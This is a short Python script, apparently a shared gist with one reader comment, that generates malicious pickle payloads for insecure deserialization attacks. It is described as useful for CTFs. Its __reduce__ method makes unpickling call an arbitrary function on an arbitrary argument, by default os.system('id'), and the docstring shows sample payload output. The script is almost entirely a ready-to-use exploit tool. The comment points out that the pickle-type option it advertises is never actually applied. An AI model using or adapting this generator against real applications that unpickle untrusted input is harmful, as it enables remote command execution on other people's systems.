Python cPickle/pickle exploit generator

pickle_exploit_generator.py

#!/usr/bin/env python

'''
    0xBADCA7

    Vodka goes down the throat better with pickle.
    This script generates pickled object representation. Good for CTFs.
    Params: [1] function, [2] parameter, [3] pickle type

    Sample run:
    > ./pickle_exploit_generator.py os.system id cpickle
    Will cpickle os.system(id)
    cposix
    system
    p0
    (S'id'
    p1
    tp2
    Rp3
    .

    > ./pickle_exploit_generator.py os.system ls pickle
    Will pickle os.system(ls)
    cposix
    system
    p0
    (S'ls'
    p1
    tp2
    Rp3
    .
'''


import os
import sys
import pickle
import cPickle


class Exploit(object):
    def __reduce__(self):
        return (eval(fn), (cmd,))

try:
    pickle_type = sys.argv[3]
    cmd = sys.argv[2]
    fn = sys.argv[1]
except:
    pickle_type = 'pickle' # or cpickle
    cmd = 'id'
    fn = 'os.system'

print("Will {} {}({})".format(pickle_type, fn, cmd))
shellcode = pickle.dumps(Exploit())
print(shellcode)

Where do you choose the pickle type in your code?